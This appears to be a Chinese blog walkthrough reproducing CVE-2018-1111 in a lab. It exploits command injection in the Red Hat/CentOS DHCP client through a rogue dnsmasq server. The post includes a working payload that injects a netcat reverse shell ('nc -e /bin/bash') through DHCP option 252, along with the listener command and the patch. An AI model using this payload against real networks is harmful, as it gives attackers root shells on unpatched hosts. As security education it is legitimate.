CVE-2018-1111漏洞復現-環境搭建與dhcp命令注入
阿新 • • 發佈:2018-12-22
0×01 前言
2018年5月,在Red Hat Enterprise Linux多個版本的DHCP客戶端軟體包所包含的NetworkManager整合指令碼中發現了命令注入漏洞(CVE-2018-1111),該漏洞目前已經進行了修補。攻擊者可以通過本地網路上的惡意DHCP伺服器或使用惡意的虛假DHCP響應來利用此漏洞進行攻擊,一旦攻擊成功,則可以在配置了DHCP的NetworkManager的系統上以root許可權執行任意命令。
0×02 漏洞影響面
影響版本
- Red Hat Enterprise Linux Server 6
- Red Hat Enterprise Linux Server 7
- CentOS 6
- CentOS 7
0×03 環境搭建
攻擊機:kali linux ip:192.168.1.14 受害機:centos7 ip:192.168.1.15
一、配置虛擬網路
開啟VM虛擬機器-選單欄-編輯-虛擬網路編輯器,設定僅主機模式(關掉dhcp,設定ip)。
將 攻擊機 和 受害機 網路配置成僅主機模式:
二、搭建dhcp服務
先在kali下設定一下網路
配置ip ifconfig eth0 192.168.1.11 netmask 255.255.255.0 配置網管 route add default gw 192.168.1.11
在當前目錄新建一個dnsmasq.conf檔案,填入以下內容進行配置:
bind-interfaces interface=eth0 except-interface=lo dhcp-range=192.168.1.20,192.168.1.30,12h dhcp-option=3,192.168.1.11 dhcp-option=6,192.168.1.11 log-queries log-facility=/var/log/dnsmasq.log
引數解釋
dhcp-range: 表示要分配給客戶機的 ip 地址範圍和租約時間 dhcp-option: 表示指定給 DHCP 客戶端的選項資訊 log-facility: 表示日誌記錄器
其中配置檔案中包括的 option 取值及含義如下:
3: 設定閘道器地址選項 6: 設定 DNS 伺服器地址選項 252: 為 DHCP 客戶端提供了一個用於配置其代理設定的 URL,wpad-proxy-url
payload 中涉及到的 option 252 是私人使用保留部分的一部分, 為 dhcp 伺服器使用 252,然後在他們的瀏覽器中寫入與 dhcp 伺服器交談的能力,並要求程式碼 252 從該選項列出的 URL 中獲取關於網路上代理設定的資訊。
這裡 dnsmasq.conf中的dhcp-range設定:
為客戶端分配 192.168.1.20-192.168.1.30/24 這個 ip 地址範圍,租約時間為 12h。
0×04 命令注入
利用dnsmasq偽造dns伺服器,命令執行 payload 如下:
dnsmasq -dC dnsmasq.conf --dhcp-option="252,malayke'&nc -e /bin/bash 192.168.1.11 6666 #"
監聽6666埠:
nc -lvp 6666
重啟CentOS的網路服務,然後shell就反彈回來了:
我們按一下centos的ip地址,在我們制定的ip段內(192.168.20-192.168.1.30)
0×05 修復方案
終端下執行
更新dhcp yum -y update dhclient 檢視更新日誌 rpm -qa --changelog dhclient | grep CVE-2018 - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character